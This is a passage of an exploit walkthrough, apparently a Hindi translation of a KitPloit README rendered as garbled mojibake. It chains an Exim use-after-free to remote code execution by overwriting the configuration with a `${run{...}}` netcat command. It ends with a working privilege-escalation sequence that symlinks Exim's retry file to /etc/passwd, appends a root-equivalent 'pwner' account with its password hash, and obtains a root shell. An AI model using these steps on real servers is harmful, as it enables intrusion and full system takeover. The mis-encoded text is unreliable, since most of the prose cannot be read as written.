рдЕрдм рд╣рдореЗрдВ UAF рдкрд░ рдЕрдЪреНрдЫрд╛ рдирд┐рдпрдВрддреНрд░рдг рд▓реЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рдо рдЕрдкрдиреЗ рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡реНрд╕ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХреЗрдВред

рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, `POOL_MAIN` рд╕реЗ рдмрдлрд╝рд░реНрд╕ рдореБрдХреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдорд╛рд░рд╛ рдмреНрд▓реЙрдХ рд╕реАрдзреЗ `free()` рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдореЗрдореЛрд░реА рдХреЗрд╡рд▓ `store_get_3()` рдпрд╛ `store_newblock_3()` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реА рдирд╣реАрдВ рдмрд▓реНрдХрд┐ рдХрд┐рд╕реА рднреА рдлрд╝рдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛рдПрдЧреА рдЬреЛ `malloc()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ...рдЬреИрд╕реЗ `CRYPTO_zalloc()` рдФрд░ рдХрдИ рдЕрдиреНрдпред

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, `tls_server_start()` рдореЗрдВ рдХрд╣реАрдВ, `malloc()` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдореЗрдореЛрд░реА рдХреА рдорд╛рдВрдЧ рдХреА рдЬрд╛рддреА рд╣реИред

рдлрд┐рд░ рдЙрд╕рдореЗрдВ рдХреБрдЫ рдмрд╛рдЗрдирд░реА рдбреЗрдЯрд╛ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ, рд╣рдорд╛рд░реЗ `gstring` рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЛ рджреВрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред

рд╣рдореЗрдВ рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЪрд╛рд╣рд┐рдП, рддрд╛рдХрд┐ рд╣рдо рдПрдХ рд╕реНрд╡рд╕реНрде `gstring` рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЗ рд╕рд╛рде `tls_write()` рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВ рдЬреЛ рдПрдХ рд╡реИрдз рдореЗрдореЛрд░реА рдПрдбреНрд░реЗрд╕ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рдЕрдиреНрдпрдерд╛ SIGSEGV рдЗрдВрдЯрд░рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

Exim рдкреВрд▓ рдЖрд╡рдВрдЯрдХ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рдмрд╛рдж, рд╣реАрдк рдХреА рдУрд░ рдЙрдирдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдХрдорд╛рдВрдб рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдФрд░ рдЖрдЬрд╝рдорд╛рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЕрдВрддрддрдГ рдЗрд╕ рдбреЗрдЯрд╛ рдХреЛ рд╣рдорд╛рд░реЗ gstring рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдореЗрдВ рд▓рд┐рдЦреЗ рдЬрд╛рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред

## рдореЗрдореЛрд░реА рд▓реАрдХ

рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдо рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ Use-After-Free рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ рдФрд░ рд╣рдорд╛рд░реЗ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЗ рджреВрд╖рд┐рдд рд╣реЛрдиреЗ рдореЗрдВ рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рддреЛ рд╣рдореЗрдВ рд╣реАрдк рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣рдорд╛рд░реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдмреАрдЪ рдореЗрдВ (g->ptr рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐рд╕реА рднреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ) рдПрдХ рд╣реАрдк рдПрдбреНрд░реЗрд╕ рд▓рд┐рдЦрддрд╛ рд╣реИред

рд╣рдо рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ, рд╕рд╛рджрд╛ рдкрд╛рда (рдмрд╛рдЗрдирд░реА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдирд╣реАрдВ) рд╣реЛрдиреЗ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рд╣рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ NULL рдмрд╛рдЗрдЯреНрд╕ рд╡рд╛рдкрд╕ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред

рдРрд╕рд╛ рдХреНрдпреЛрдВ рд╣реЛрддрд╛ рд╣реИ?

рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ `SSL_write()` рдХреЗ рд╕рд╛рде рд╡рд╛рдкрд╕ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИрдВ, NULL рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВред

рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛? `string_catn()` NULL рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдирд╣реАрдВ рдХрд╛рдЯрддрд╛ред рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдбреЗрдЯрд╛ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `memcpy` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

рд╕реАрдорд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ `g->ptr` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИ, рд▓реЗрдХрд┐рди...рдЪреВрдВрдХрд┐ рдПрдбреНрд░реЗрд╕ `g->ptr` рдЗрдВрдбреЗрдХреНрд╕ рд╕реЗ рдкрд╣рд▓реЗ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЙрд╕рдХреЗ рдмрд╛рдж рдХрд╛ рд╕рд╛рд░рд╛ рдбреЗрдЯрд╛ рд╣рдореЗрдВ рд▓реМрдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдмрд╣реБрдореВрд▓реНрдп рд╣реАрдк рдПрдбреНрд░реЗрд╕ рд▓реАрдХ рд╣реЛрддреЗ рд╣реИрдВред

PoC рдХреЗ рд╕рд╛рде рдореЗрдореЛрд░реА рд▓реАрдХ рдХрд░рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо:

![Memory Leak](https://assets.kitploit.com/production/public/readmes/24836/5dce667a7b9fc8bf3a843543942501ff4fed88f98e4a60b4e2222698f6a11572.png)

## рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рд░реАрдб

рдЕрдм, рд╣рдордиреЗ рд╣реАрдк рдмреЗрд╕ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд▓рд┐рдпрд╛ рд╣реИ....

рдФрд░...рдПрдбреНрд░реЗрд╕ рдкреНрд░рддреНрдпреЗрдХ рдХрдиреЗрдХреНрд╢рди рдХреЗ рдмреАрдЪ рдирд╣реАрдВ рдмрджрд▓рддреЗ...рдЗрд╕рд▓рд┐рдП рдЕрдм рд╣рдо RCE рдХрд╛ рд░рд╛рд╕реНрддрд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

рд▓реЗрдХрд┐рди... рд╣рдо gstring рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЛ рдХреИрд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ?

рдпрд╣ Qualys рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд╛рдлреА рд╕реАрдзрд╛ рд╕рд╛рдмрд┐рдд рд╣реБрдЖред

ESMTP рдиреЗ SMTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рдХреБрдЫ рдЪреАрдЬреЗрдВ рдЬреЛрдбрд╝реАрдВ, рдЬреИрд╕реЗ MAIL FROM рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ред

рдЕрдВрддрд┐рдо STARTTLS рдХреЗ рдмрд╛рдж рдПрдХ рдмрдбрд╝реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ :)

рдкрд░рд┐рдгрд╛рдо:

root@kitploit:~
    
    
    gefтЮд  p *corked
    $1 = {
      size = 0x42424242, 
      ptr = 0x42424242, 
      s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
    }
    

`gstring` рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдгред

рдЕрдм рдЕрдкрдирд╛ рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рд░реАрдб рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред

рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ рдЖрд╕рд╛рди рд▓рдЧрддрд╛ рд╣реИ...`g->size` рдФрд░ `g->ptr` рдХреЛ рдПрдХ рдмрдбрд╝реЗ рдорд╛рди рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВред

рдлрд┐рд░ `g->s` рдХреЛ рдЙрд╕ рдореЗрдореЛрд░реА рдПрдбреНрд░реЗрд╕ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ рдЬрд┐рд╕рд╕реЗ рд╣рдо рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред

рдХрдорд╛рдВрдб рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдбреЗрдЯрд╛ рд╡рд╛рдкрд╕ рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `tls_write()` рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЪреВрдВрдХрд┐ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдмрдлрд╝рд░ рдкреЙрдЗрдВрдЯрд░ рджреВрд╖рд┐рдд рд╣реИ, рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдордирдорд╛рдиреА рд╕реНрдерд┐рддрд┐ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рдЙрд╕ рд╕реНрдерд╛рди рд╕реЗ рдбреЗрдЯрд╛ рд╡рд╛рдкрд╕ рд▓реМрдЯрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЕрдм рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЪрдВрдХреНрд╕ рдкрд░ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХрд░рддрд╛ рд╣реИ, рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдРрд╕реЗ рдХреАрд╡рд░реНрдб рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдмрддрд╛рдПрдВ рдХрд┐ рдХреНрдпрд╛ рдЪрдВрдХ рд╡рд╣ рд╣реИ рдЬрд┐рд╕рдореЗрдВ Exim рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реИ, рдпрджрд┐ рдРрд╕рд╛ рд╣реИ, рддреЛ рд╣рдо рдЕрдВрддрд┐рдо рдЪрд░рдг рдкрд░ рдЬрд╛рдПрдВрдЧреЗред

рдореИрдВрдиреЗ рдЬреЛ рдлрд╝рдВрдХреНрд╢рди рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ рд╡рд╣ рд╣реАрдк рдмреЗрд╕ рд╕реЗ рд╣реАрдк рдХреЗ рд╕рд╛рде рдкреНрд░рддреНрдпреЗрдХ `READ_SZ` рд▓рдВрдмрд╛рдИ рдкрд░ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХрд░рддрд╛ рд╣реИред

root@kitploit:~
    
    
    	[+] Leaked heap address = 0x55c846683d90
    	[+] Leaked heap_base = 0x55c8465f4000
    
    [*] Searching for Exim configuration in memory...
    
    [+] Config found at: 0x55c8465f6328
    

рдПрдХ рдмрд╛рд░ рдХреБрдЫ рдорд┐рд▓ рдЬрд╛рдиреЗ рдкрд░, рд╣рдо рдЕрдВрддрд┐рдо рдЪрд░рдг рдкрд░ рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВред

## рд░рд╛рдЗрдЯ-рд╡реНрд╣рд╛рдЯ-рд╡реНрд╣реЗрдпрд░

рдмрдврд╝рд┐рдпрд╛! рд╣рдо рд╣реАрдк рдмреЗрд╕ рдПрдбреНрд░реЗрд╕ рдЬрд╛рдирддреЗ рд╣реИрдВред рдФрд░ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк...рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ Exim рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╣рд╛рдБ рд╕реНрдерд┐рдд рд╣реИ!

рдЕрдм RCE рдХрд╛ рд╕рдордп рд╣реИ :P

рдЕрдм, рд╣рдореЗрдВ (рдХрд┐рд╕реА рддрд░рд╣) exim рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ `${run{<command>}}` рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рддрд╛рдХрд┐ рдЬрдм `string_expand()` рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ, рд╣рдорд╛рд░рд╛ рдХрдорд╛рдВрдб рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рдЕрдВрддрддрдГ рд╣рдореЗрдВ рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдорд┐рд▓реЗред

RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ netcat рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдХрдорд╛рдВрдб рдореЗрдВ nc рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рд╣рдореЗрдВ рд╢реЗрд▓ рдорд┐рд▓ рдЬрд╛рдПрдЧрд╛ред

рд▓реЗрдХрд┐рди... рд╣рдо рдРрд╕рд╛ рд░рд╛рдЗрдЯ-рд╡реНрд╣рд╛рдЯ-рд╡реНрд╣реЗрдпрд░ рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ рдХреИрд╕реЗ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ?

рд╣рдореЗрдВ рдкрд╣рд▓реЗ (рдЬреИрд╕рд╛ рд╣рдордиреЗ рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рд░реАрдб рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛) `gstring` рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдирд┐рдпрдВрддреНрд░рдг рд╣реЛ, рддреЛ рд╣рдо рдкрд╣рд▓реЗ `g->s` рдХреЛ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╣рдо рд▓рд┐рдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ Exim рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдПрдбреНрд░реЗрд╕ред

рдлрд┐рд░ рдмрдлрд╝рд░ рдореЗрдВ рд▓рд┐рдЦреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдЕрдЧрд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрд░, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╡рд╣рд╛рдБ рд▓рд┐рдЦреА рдЬрд╛рдПрдЧреА рдЬрд╣рд╛рдБ `g->s` рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ :)

рд▓реЗрдХрд┐рди...рд╣рдо `gstring` рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЛ рдХреИрд╕реЗ рджреВрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рд╛рде рд╣реА рдПрдХ рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ?

Qualys рдиреЗ рдЗрд╕реЗ рд╕рд▓рд╛рд╣ (advisory) рдореЗрдВ рдмрд╣реБрдд рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рдЫреЛрдбрд╝рд╛ред

рд╣рдореЗрдВ рдПрдХ "MAIL FROM" рдХрдорд╛рдВрдб рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рдбреЗрдЯрд╛ рд▓реМрдЯрд╛рддрд╛ рд╣реИред

рдХреБрдЫ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рд╕реЛрдЪрд╛ рдХрд┐ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╕рдорд╛рдзрд╛рди рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рд╕рд╛рде рд╣реИред

рд╣рдо `ADDR - strlen("501 ")` рдЪреБрди рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕рд▓рд┐рдП рд╡реЗ рдЪрд╛рд░ рдмрд╛рдЗрдЯреНрд╕ рд╣рдорд╛рд░реЗ рд▓рдХреНрд╖реНрдп рдХреЛ рджреВрд╖рд┐рдд рдирд╣реАрдВ рдХрд░рддреЗред

рд╣рдо MAIL FROM рдХреЛ рдХреИрд╕реЗ рд╡рд┐рдлрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рдореИрдВ рдПрдХ рдЧрд▓рдд рдкреНрд░реЗрд╖рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдБ, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░реЗрд╖рдХ рдХреЛ рдПрдХ рдбреЛрдореЗрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдпрджрд┐ рдХреЛрдИ рдбреЛрдореЗрди рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рд╣реИ рддреЛ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ-рднреЗрдЬрд╛ рдЧрдпрд╛ рдбреЗрдЯрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧрд╛

рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣реИред рдЪреВрдВрдХрд┐ рд╣рдо NULL рднреЗрдЬ рд░рд╣реЗ рд╣реИрдВ, рдпрд╣ рд╕рдВрджреЗрд╢ рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рд▓реМрдЯрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: "501 NUL characters are not allowed in SMTP commands"ред

рдЗрд╕рд▓рд┐рдП рдЕрднреА рднреА рдЗрд╕рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрдВ рдЕрдиреБрд░реЛрдз рдореЗрдВ NULL рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

рд╣рдо рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рджреВрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ "MAIL FROM" рдирд╣реАрдВ рднреЗрдЬ рд╕рдХрддреЗ, рд╕рд░рд▓ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдо UAF рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВ, more=0 рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдореБрдХреНрдд рдмрдлрд╝рд░ рддрдХ рдХреЛрдИ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╣реЛрддреАред

рд▓реЗрдХрд┐рди `handle_smtp_call()` рд╕реЗ, рдпрджрд┐ рд╣рдо `DATA` рднреЗрдЬрддреЗ рд╣реИрдВ, рддреЛ `receive_msg()`ред рд╣рдо рдЗрд╕реЗ рд╡рд░реНрддрдорд╛рди рдкреВрд▓ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╣рдо рдореБрдХреНрдд рдмрдлрд╝рд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реАрдк рдХреЛ рдереЛрдбрд╝рд╛ рдЧреНрд░реВрдо рдХрд░ рд╕рдХреЗрдВред

рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдо рдЗрд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдПрдХ рд╡реИрдз рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдХрд┐рдП рдЧрдП рдЕрдорд╛рдиреНрдп рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде MAIL FROM рднреЗрдЬрддреЗ рд╣реИрдВред рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ `s` рдкреЙрдЗрдВрдЯрд░ рдореЗрдВ рд▓рд┐рдЦреА рдЬрд╛рдПрдЧреАред

## рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрд╕реЗрдХреНрдпреВрд╢рди

рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдордиреЗ рд░рд╛рдЗрдЯ-рд╡реНрд╣рд╛рдЯ-рд╡реНрд╣реЗрдпрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓рд┐рдпрд╛, рддреЛ рдореБрдЭреЗ рд╕реАрдзреЗ netcat рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛рдПрдБ рдереАрдВ рдХреНрдпреЛрдВрдХрд┐ рддрд░реНрдХреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдЖрд╡рд╢реНрдпрдХ рдереАрдВред рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рдПрдХ рдХрд┐рдпрд╛: `/bin/sh -c '<nc command here>'`ред

рдореИрдВрдиреЗ MAIL FROM ACL рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рддрд╛рдХрд┐ рджреВрд╕рд░реЗ MAIL FROM рдХреЛ рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдХрд░рдиреЗ рдкрд░ `expand_cstring()` рдХреЙрд▓ рд╣реЛ, рдФрд░ рдЕрдВрддрддрдГ рдореЗрд░рд╛ рдЖрд░реНрдмрд┐рдЯреНрд░реЗрд░реА рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛред

рдПрдХ рдмрд╛рд░ рдЬрдм рдореБрдЭреЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЗ рд╕рд╛рде рд╢реЗрд▓ рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдпрд╣ рдПрдХ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд╣реИ:

![RCE_CAP](https://assets.kitploit.com/production/public/readmes/24836/212665fe186ae1db9b0c96393c065ab459a9d204a3822f6b69c94be111568c3b.png)

## CVE-2020-28008 LPE рдХреЗ рд╕рд╛рде рдЪреЗрдирд┐рдВрдЧ

root@kitploit:~
    
    
    $ /bin/bash
    $ cd /var/spool/exim4/db
    $ rm -f retry*
    $ ln -s -f /etc/passwd retry.passwd
    $ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
    $ # creds => pwner:pwner
    $ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
    $ su -l pwner
     * Enter pass: pwner *
    # id
    uid=0(root) gid=0(root) groups=0(root)
    #
    

## рд╕рд┐рд╕реНрдЯрдо рдЬрд╛рдирдХрд╛рд░реА

